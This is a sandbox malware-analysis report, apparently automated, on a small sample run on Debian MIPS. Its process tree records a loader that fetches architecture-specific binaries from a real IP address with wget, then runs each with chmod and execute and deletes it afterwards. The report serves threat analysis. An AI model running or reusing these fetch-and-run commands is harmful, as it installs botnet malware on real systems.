Analysis

  • max time kernel
    12s
  • max time network
    13s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20231222-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20231222-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    01/02/2024, 23:38

General

  • Target

    87f6cdd9e7b20463d16dbc0a987da1e0

  • Size

    2KB

  • MD5

    87f6cdd9e7b20463d16dbc0a987da1e0

  • SHA1

    cf961f122cee39b32a2897d63318d58596b52035

  • SHA256

    2903715c715b076a071f7d487094390c9011eca9b0148c232514383c53e7f459

  • SHA512

    d66eec9549580ae7f9d11c7e41e46e7c10e3ba95dca93b19198f9cd1613b9b18cd2471f6931fbe84b13dd213ebc1fae7bb878553e6c337633be0587576b3d888

Score
1/10

Malware Config

Signatures

Processes

  • /tmp/87f6cdd9e7b20463d16dbc0a987da1e0
    /tmp/87f6cdd9e7b20463d16dbc0a987da1e0
    1⤵
      PID:733
      • /usr/bin/wget
        wget http://66.70.188.177/m-i.p-s.SNOOPY
        2⤵
          PID:737
        • /bin/chmod
          chmod +x m-i.p-s.SNOOPY
          2⤵
            PID:747
          • /tmp/m-i.p-s.SNOOPY
            ./m-i.p-s.SNOOPY
            2⤵
              PID:749
            • /bin/rm
              rm -rf m-i.p-s.SNOOPY
              2⤵
                PID:750
              • /usr/bin/wget
                wget http://66.70.188.177/m-p.s-l.SNOOPY
                2⤵
                  PID:752
                • /bin/chmod
                  chmod +x m-p.s-l.SNOOPY
                  2⤵
                    PID:757
                  • /tmp/m-p.s-l.SNOOPY
                    ./m-p.s-l.SNOOPY
                    2⤵
                      PID:758
                    • /bin/rm
                      rm -rf m-p.s-l.SNOOPY
                      2⤵
                        PID:759
                      • /usr/bin/wget
                        wget http://66.70.188.177/s-h.4-.SNOOPY
                        2⤵
                          PID:760
                        • /bin/chmod
                          chmod +x s-h.4-.SNOOPY
                          2⤵
                            PID:762
                          • /tmp/s-h.4-.SNOOPY
                            ./s-h.4-.SNOOPY
                            2⤵
                              PID:763
                            • /bin/rm
                              rm -rf s-h.4-.SNOOPY
                              2⤵
                                PID:764
                              • /usr/bin/wget
                                wget http://66.70.188.177/x-8.6-.SNOOPY
                                2⤵
                                  PID:765
                                • /bin/chmod
                                  chmod +x x-8.6-.SNOOPY
                                  2⤵
                                    PID:766
                                  • /tmp/x-8.6-.SNOOPY
                                    ./x-8.6-.SNOOPY
                                    2⤵
                                      PID:767
                                    • /bin/rm
                                      rm -rf x-8.6-.SNOOPY
                                      2⤵
                                        PID:768
                                      • /usr/bin/wget
                                        wget http://66.70.188.177/a-r.m-6.SNOOPY
                                        2⤵
                                          PID:769
                                        • /bin/chmod
                                          chmod +x a-r.m-6.SNOOPY
                                          2⤵
                                            PID:770
                                          • /tmp/a-r.m-6.SNOOPY
                                            ./a-r.m-6.SNOOPY
                                            2⤵
                                              PID:771
                                            • /bin/rm
                                              rm -rf a-r.m-6.SNOOPY
                                              2⤵
                                                PID:772
                                              • /usr/bin/wget
                                                wget http://66.70.188.177/x-3.2-.SNOOPY
                                                2⤵
                                                  PID:773
                                                • /bin/chmod
                                                  chmod +x x-3.2-.SNOOPY
                                                  2⤵
                                                    PID:774
                                                  • /tmp/x-3.2-.SNOOPY
                                                    ./x-3.2-.SNOOPY
                                                    2⤵
                                                      PID:775
                                                    • /bin/rm
                                                      rm -rf x-3.2-.SNOOPY
                                                      2⤵
                                                        PID:776
                                                      • /usr/bin/wget
                                                        wget http://66.70.188.177/a-r.m-7.SNOOPY
                                                        2⤵
                                                          PID:777
                                                        • /bin/chmod
                                                          chmod +x a-r.m-7.SNOOPY
                                                          2⤵
                                                            PID:778
                                                          • /tmp/a-r.m-7.SNOOPY
                                                            ./a-r.m-7.SNOOPY
                                                            2⤵
                                                              PID:779
                                                            • /bin/rm
                                                              rm -rf a-r.m-7.SNOOPY
                                                              2⤵
                                                                PID:780
                                                              • /usr/bin/wget
                                                                wget http://66.70.188.177/p-p.c-.SNOOPY
                                                                2⤵
                                                                  PID:781
                                                                • /bin/chmod
                                                                  chmod +x p-p.c-.SNOOPY
                                                                  2⤵
                                                                    PID:789
                                                                  • /tmp/p-p.c-.SNOOPY
                                                                    ./p-p.c-.SNOOPY
                                                                    2⤵
                                                                      PID:791
                                                                    • /bin/rm
                                                                      rm -rf p-p.c-.SNOOPY
                                                                      2⤵
                                                                        PID:792
                                                                      • /usr/bin/wget
                                                                        wget http://66.70.188.177/i-5.8-6.SNOOPY
                                                                        2⤵
                                                                          PID:794
                                                                        • /bin/chmod
                                                                          chmod +x i-5.8-6.SNOOPY
                                                                          2⤵
                                                                            PID:801
                                                                          • /tmp/i-5.8-6.SNOOPY
                                                                            ./i-5.8-6.SNOOPY
                                                                            2⤵
                                                                              PID:803
                                                                            • /bin/rm
                                                                              rm -rf i-5.8-6.SNOOPY
                                                                              2⤵
                                                                                PID:804
                                                                              • /usr/bin/wget
                                                                                wget http://66.70.188.177/m-6.8-k.SNOOPY
                                                                                2⤵
                                                                                  PID:805
                                                                                • /bin/chmod
                                                                                  chmod +x m-6.8-k.SNOOPY
                                                                                  2⤵
                                                                                    PID:812
                                                                                  • /tmp/m-6.8-k.SNOOPY
                                                                                    ./m-6.8-k.SNOOPY
                                                                                    2⤵
                                                                                      PID:814
                                                                                    • /bin/rm
                                                                                      rm -rf m-6.8-k.SNOOPY
                                                                                      2⤵
                                                                                        PID:816
                                                                                      • /usr/bin/wget
                                                                                        wget http://66.70.188.177/p-p.c-.SNOOPY
                                                                                        2⤵
                                                                                          PID:817
                                                                                        • /bin/chmod
                                                                                          chmod +x p-p.c-.SNOOPY
                                                                                          2⤵
                                                                                            PID:826
                                                                                          • /tmp/p-p.c-.SNOOPY
                                                                                            ./p-p.c-.SNOOPY
                                                                                            2⤵
                                                                                              PID:827
                                                                                            • /bin/rm
                                                                                              rm -rf p-p.c-.SNOOPY
                                                                                              2⤵
                                                                                                PID:829
                                                                                              • /usr/bin/wget
                                                                                                wget http://66.70.188.177/a-r.m-4.SNOOPY
                                                                                                2⤵
                                                                                                  PID:831
                                                                                                • /bin/chmod
                                                                                                  chmod +x a-r.m-4.SNOOPY
                                                                                                  2⤵
                                                                                                    PID:841
                                                                                                  • /tmp/a-r.m-4.SNOOPY
                                                                                                    ./a-r.m-4.SNOOPY
                                                                                                    2⤵
                                                                                                      PID:842
                                                                                                    • /bin/rm
                                                                                                      rm -rf a-r.m-4.SNOOPY
                                                                                                      2⤵
                                                                                                        PID:844
                                                                                                      • /usr/bin/wget
                                                                                                        wget http://66.70.188.177/a-r.m-5.SNOOPY
                                                                                                        2⤵
                                                                                                          PID:845
                                                                                                        • /bin/chmod
                                                                                                          chmod +x a-r.m-5.SNOOPY
                                                                                                          2⤵
                                                                                                            PID:847
                                                                                                          • /tmp/a-r.m-5.SNOOPY
                                                                                                            ./a-r.m-5.SNOOPY
                                                                                                            2⤵
                                                                                                              PID:848
                                                                                                            • /bin/rm
                                                                                                              rm -rf a-r.m-5.SNOOPY
                                                                                                              2⤵
                                                                                                                PID:849

                                                                                                            Network

                                                                                                                  MITRE ATT&CK Matrix

                                                                                                                  Replay Monitor

                                                                                                                  Loading Replay Monitor...

                                                                                                                  Downloads